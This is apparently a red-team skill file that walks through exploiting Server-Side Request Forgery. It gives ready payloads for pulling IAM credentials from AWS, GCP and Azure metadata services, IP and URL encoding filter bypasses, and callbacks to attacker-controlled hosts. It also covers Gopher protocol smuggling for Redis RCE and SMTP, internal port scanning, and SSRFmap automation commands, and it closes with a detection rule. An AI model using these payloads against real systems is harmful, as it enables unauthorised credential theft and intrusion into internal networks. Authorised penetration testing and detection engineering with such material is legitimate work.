<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-ssrf-vulnerabilities
description: >-
  Discover and exploit Server-Side Request Forgery vulnerabilities. Covers
  cloud metadata extraction, internal port scanning, protocol smuggling,
  and filter bypass techniques.
domain: cybersecurity
subdomain: red-team
tags:
  - ssrf
  - web-application
  - cloud
  - metadata
  - server-side
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1552.005"]
  tools: ["burp-suite", "ssrfmap", "gopherus"]
---

# Exploiting SSRF Vulnerabilities

## Overview

Server-Side Request Forgery (CWE-918) forces the server to make requests to
attacker-controlled destinations. Critical in cloud environments where SSRF
enables access to instance metadata services (IMDS) containing IAM credentials.

## Prerequisites

- Target web application with URL/resource fetch functionality
- Burp Suite or similar proxy
- SSRFmap (`pip install ssrfmap`)

```bash
pip install ssrfmap
```

## Key Concepts

### SSRF Types

| Type | Description |
|------|-------------|
| Basic | Direct URL fetch — response returned |
| Blind | Request made but response not returned |
| Semi-blind | Error messages leak partial info |
| Protocol smuggling | Gopher/dict to interact with internal services |

### Cloud Metadata Endpoints

| Cloud | Endpoint | Header Required |
|-------|----------|-----------------|
| AWS | http://169.254.169.254/latest/meta-data/ | None (IMDSv1) |
| AWS IMDSv2 | http://169.254.169.254/latest/api/token | X-aws-ec2-metadata-token-ttl-seconds |
| GCP | http://metadata.google.internal/computeMetadata/v1/ | Metadata-Flavor: Google |
| Azure | http://169.254.169.254/metadata/instance | Metadata: true |

## Workflow

### Step 1: Identify SSRF Entry Points

```
# Common parameters
url=, uri=, path=, dest=, redirect=, src=, img=, link=
fetch=, load=, page=, feed=, proxy=, callback=

# Test with external callback
url=https://BURP_COLLABORATOR_URL
url=http://ATTACKER_IP:8080/ssrf-test
```

### Step 2: Basic SSRF — Cloud Metadata

```
# AWS IMDSv1
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# GCP
url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure
url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
```

### Step 3: Filter Bypass Techniques

```
# IP encoding
http://0x7f000001/            # Hex
http://2130706433/            # Decimal
http://0177.0.0.1/            # Octal
http://127.1/                 # Short form
http://[::1]/                 # IPv6

# DNS rebinding
# Register DNS that alternates between attacker IP and 127.0.0.1

# URL encoding
http://127.0.0.1%2523@attacker.com/
http://attacker.com%40127.0.0.1/

# Redirect bypass
url=https://attacker.com/redirect?to=http://169.254.169.254/
```

### Step 4: Protocol Smuggling via Gopher

```bash
# Redis RCE via SSRF
gopherus --exploit redis
# Output: gopher://127.0.0.1:6379/_...

# MySQL query via SSRF
gopherus --exploit mysql
# Specify username and query

# SMTP — send email via SSRF
gopherus --exploit smtp
```

### Step 5: Internal Port Scanning

```
# Scan internal hosts via SSRF
url=http://192.168.1.1:22/
url=http://192.168.1.1:3306/
url=http://192.168.1.1:6379/

# Observe response time/size differences to map open ports
```

### Step 6: SSRFmap Automation

```bash
ssrfmap -r request.txt -p url --modules readfiles,portscan
ssrfmap -r request.txt -p url --modules aws
ssrfmap -r request.txt -p url --modules gcp
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| IMDS access | CloudTrail/VPC Flow | Requests to 169.254.169.254 |
| DNS anomaly | DNS logs | Internal hostnames from web server |
| Outbound to RFC1918 | Firewall | Web server connecting to internal IPs |

```yaml
title: SSRF — Cloud Metadata Access Attempt
id: d4e5f607-8192-0123-def0-123456789012
status: experimental
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "169.254.169.254"
      - "metadata.google.internal"
      - "metadata.azure.com"
  condition: selection
falsepositives:
  - Cloud SDK health checks from application
level: critical
tags:
  - attack.t1552.005
  - attack.credential_access
```

## Verification

- [ ] SSRF entry point identified
- [ ] Internal resources accessed
- [ ] Cloud metadata/credentials extracted
- [ ] Filter bypasses documented
- [ ] Detection artifacts documented

## References

- [SSRFmap](https://github.com/swisskyrepo/SSRFmap)
- [Gopherus](https://github.com/tarunkant/Gopherus)
- [OWASP SSRF](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)
- [MITRE T1552.005](https://attack.mitre.org/techniques/T1552/005/)
